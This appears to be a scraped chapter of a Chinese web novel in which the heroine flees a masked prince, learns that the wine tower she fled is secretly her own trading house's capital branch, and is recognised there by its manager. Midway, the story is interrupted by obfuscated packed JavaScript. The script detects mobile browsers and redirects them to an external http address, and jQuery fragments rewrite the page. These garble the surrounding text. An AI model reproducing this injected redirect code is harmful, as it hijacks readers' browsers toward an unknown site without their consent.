5. 京城没有绝乐商行

作品:《雨送黄昏花易落

    一双大手掰过她的脸,徐悲面具后狭长的瞳映进了女孩的脸。


    “在看什么?”


    “没什么。”叶姝君环视了周围一圈,依旧没有看到熟悉的绝乐商行标识。


    “真不愧是京城呀,繁华盛景,令天下众人心驰神往。”


    她随口赞叹了句,指着一处高楼对徐悲道:“阿兄,我想去那里,高处的风景一定更好,我想看。”


    不仅风景好,站得高还看得远。


    徐悲顺着她指的方向看去,眯了眯眼。


    只顿了一瞬,他便揽住叶姝君的腰,往那高处飞去。


    那最高的塔顶之上挂着一只铜铃,随着夜色下徐徐而来的微风摆动起身姿,清脆的声音叮铃作响。


    叶姝君伸着头,从亭中探出去望着。


    还是没有,难不成不在这一片?


    高处的清风吹起她鬓角的发丝,迷了女孩的眸。


    徐悲不在意的瞟了两眼下面热闹的街市,目光落在叶姝君侧脸。


    男人向来古井无波的墨瞳深处泛起了层层涟漪,刹那间似乎还掠过了点点失落。


    为何你就是不记得我了呢……


    塔顶后,一上来的伙计看见了这一幕,悄无声息地退了下去,找到一名女子,在她耳边轻声说了些什么。


    女子一身劲装,闻言眉头蹙了蹙,“凌王?他来我们这做什么?”


    若是她没记错,这凌王如今应该被禁足在府上吧?竟还敢跑出来,违抗圣命?


    “属下不知,他身边还带着位姑娘,但属下未看清面容。”


    姑娘?


    难道是为了心上人不惜抗命?


    劲装女子想了想,放下手中正在处理的事物,道:“我一会儿就上去,你先派几个人上去伺候着,可别怠慢了我们凌王。”


    “是。”


    塔顶,伙计带了两个小厮两个丫鬟上来,恭敬道:“殿下,这是我们掌柜吩咐带上来伺候的。”


    徐悲淡淡瞥了眼,“嗯。”


    叶姝君却惊了,凑到他身边低声道:“殿下,你不是戴上了面具的吗?为什么他们还能认出你来?”


    徐悲这回选择了沉默。


    见状,叶姝君也没有追问。


    有的时候知道的越多死的就越快,算了,她还是别知道了。


    观察了下那边的四个下人,叶姝君眼珠子一转。


    是个好机会。


    “阿兄,我想……”她缩着身子,做出着急模样,“上茅房。”


    月光照在她脸上,叶姝君可怜兮兮地冲徐悲眨眼。


    眼前的一幕和记忆中的画面重叠在一起,徐悲猝不及防的怔住,心底那块藏在阴影中的空地照进了一束耀眼的光芒。


    “阿兄?”


    男人回神,若无其事地点了点头,“我……”


    叶姝君打断了他的话,“那我去啦,阿兄你就在这里等我吧。”


    她对一名丫鬟道:“劳烦带我去下茅厕。”


    徐悲没有阻止,他虽然和这里的人不对付,但总归还是相信她们的人品的。


    毕竟这座楼的主人,是他这些年为数不多敬佩的对手。


    徐悲看着叶姝君蹦蹦跳跳的背影,想起了刚才那一幕。


    两个画面重合,唯一不同的,是那双灵动的眉眼。


    那年,姑娘的眼睛缠了一圈布条,十五岁的少年从始至终都没能等到她瞳孔映入自己身影的那一天。


    ……


    不多时,劲装女子出现在弯道左侧。


    右侧跑过一抹女子欢快的倩影,那一闪而过的背影让钟宴觉得有些熟悉。


    她来不及多想,便见那边的男子射过来一道极具威严与冷意的视线。


    钟宴立马挂上笑容,“不知凌王大驾,有失远迎。”


    “钟掌柜。”徐悲道。


    “听闻凌王是带着一名女子来的,想必是美人心念这塔楼高处的美景。”钟宴道:“凌王若是喜欢,我们岐桑酒塔随时欢迎。”


    说完,她又小声补了句:“今日,我们不曾见过殿下。”


    徐悲没什么情绪地说:“谢过钟掌柜。”


    对于这个钟宴,徐悲唯一的印象就是这座塔楼主人的部下。


    虽然京城人人都传钟宴就是这座岐桑酒塔的主人,但徐悲不信。


    这座酒塔背后有着更大的靠山,那靠山的掌管者才是酒塔真正的主人。


    徐悲曾无数次和那人交手,别人不知道,可他却敢笃定。


    这里的主人绝对不是钟宴。


    想到这,他眸色一深。


    那人已经一年多都没有出现了,也不知道是不是死在哪个犄角旮旯里了。


    .


    叶姝君提着裙摆,把丫鬟忽悠到了茅厕十米之外。


    趁着夜色看不清东西,她在丫鬟转身的那一刻撒丫子就跑,看都没看那茅房一眼。


    一路奔腾找到了后门,叶姝君大喜,轻手轻脚地推开门就往外跑。


    随手丢掉了面具,她抱着裙摆左拐右拐,绕了好几条小巷子才敢走上大道。


    “哈哈哈哈哈!”


    徐悲小儿,没想到吧,姑奶奶我终于逃出来了!


    叶姝君拦住了一名路人。


    现在最重要的是赶紧找到绝乐商行开在京城的哪里,她好去自己的地盘躲着,不被徐悲和贤亲王找到。


    “这位公子,你可知绝乐商行在哪里?”


    “绝乐商行?没听过。”


    “……谢谢啊。”叶姝君问了十几个人,没有人知道京城的绝乐商行开在哪个地方。


    她都要绝望了。


    再找不到地方,徐悲估计就要派人来抓她回去了,倒时候再想要跑出来可就没那么容易了。


    “绝乐商行不是很出名吗?为什么没有人知道呢?”


    叶姝君整个人都焉了。


    这时,一旁小巷子里却传来声音,“绝乐商行在江南一带和其他各国出名,但京城又没有叫绝乐商行的,他们自然回答你不知道。”


    “可我倒是知道一个和绝乐商行有关的东西。”


    叶姝君看向说话的人,那是一个乞丐,灰头土脸的,手上还捧着一个酒葫芦喝着。


    “这位老者,你知道呀?那……”女孩双眼发亮。


    乞丐老者喝的脸蛋红扑扑的,满身酒气,弥漫在窄小的巷子里。


    最后一滴酒下肚,他双眼清明地看着叶姝君,“想知道?”


    “想,很想!”


    乞丐老者冲她摇了摇酒葫芦,“哎呀,没有酒喝了,没心情。”


    叶姝君见状,连忙取下只有几两碎银的钱袋子,还拆下了几支珠钗递给老者。


    “老人家,这些东西你收着,绝对够你的喝酒钱了,就当是晚辈给你的见面礼。”


    “嘿哟!”乞丐老者一下就笑出了声,粗糙的手接过她手上的东西,“小姑娘,上道。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908820|160215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“不就是绝乐商行嘛。”乞丐老者收好银子,从腰上取下了一个较小一点的酒壶,打开塞喝着。


    叶姝君:“……”


    不是还有酒吗。


    乞丐老者舒适地“啊”了声,懒洋洋地开腔,“绝乐商行没有开进京城,但是有一家披着卖酒的名头,实际却干着绝乐商行事务的酒楼。”


    叶姝君期盼道:“那是?”


    “这条路直走,再拐个几个弯你就能看见岐桑酒塔。”


    乞丐老者吧唧了下嘴,“鲜少数人知道,这岐桑酒塔啊,就是开在京城的绝乐商行,各国消息应有尽有,小姑娘,你要是想和他们做买卖……”


    他伸出一只手搓了搓,“这个可得准备齐全咯。”


    听完他说的话,叶姝君却感觉有一道雷电直击她的天灵盖,把她整个人从中间劈成了两半。


    岐桑酒塔??


    那不就是她刚刚逃出来的地方吗!!!


    开什么国际玩笑!!!!


    叶姝君神情龟裂,好一会儿才缓过来,接受了这个事实。


    她深呼吸着,眸光瞥向乞丐老者。


    “既然京城鲜少数人才知道,那想必老人家您就是那其中之一了?”


    街头乞丐,知道这样的事情,是不是说明身份不凡?


    难不成他是京城丐帮的大哥大?


    乞丐老者喝完酒,打着哈欠伸了个懒腰,就地躺下。


    “年轻人,不该打听的别打听。”


    呼噜声很快响起,叶姝君羡慕极了他这样好的睡眠。


    她起身,对老者鞠了一躬,心如死灰地往来时的方向跑回去。


    希望不要正面撞上徐悲才好……


    岐桑酒塔。


    丫鬟惊慌失措地跑回来,“不好了,那姑娘不见了!”


    “不见了?”钟宴挑眉。


    徐悲怔了一瞬,脸色倏地沉了下来。


    “钟掌柜,我的人在你的地盘不见了,烦请配合。”


    说完,他用轻功飞下塔楼。


    落到地上时,身后出现了一名暗卫。


    徐悲侧头道:“封锁岐桑酒塔,周边街道严密搜查,务必把她给本王找回来。”


    “是!”


    不远处,叶姝君跑的气喘吁吁,她没敢靠近酒塔,只能远远望着那边的情形。


    凌王府的守卫包围住了岐桑酒塔,里里外外都被人群堵的水泄不通。


    见守卫要朝这边来,叶姝君一惊,连忙躲进一旁的木桶里。


    “你们搜这边,其他人跟我来。”


    脚步声渐行渐远,叶姝君松了口气,打开木桶的盖子探出头来。


    应该走远了吧?


    她注意着周围,小心翼翼地从木桶中翻出来。


    “姑娘好身手,不过在下有一事不解,跟着凌王必定是锦衣玉食,姑娘为何要逃呢?”


    一道女声从侧边传来。


    “!”


    叶姝君的动作霎时停住,一只迈出去的脚出也不是收也不是。


    耳朵动了动,女孩的眉宇间划过一抹困惑。


    这个声音怎么有点耳熟?


    她没说话,那道女声无奈道:“姑娘啊,你逃不逃与在下无关,但你是在我岐桑酒塔消失的,凌王的怒火,我们可真真是承受不住。”


    “还请姑娘莫怪啊。”


    叶姝君回头,钟宴的话音顿时止住。


    “……行主?!”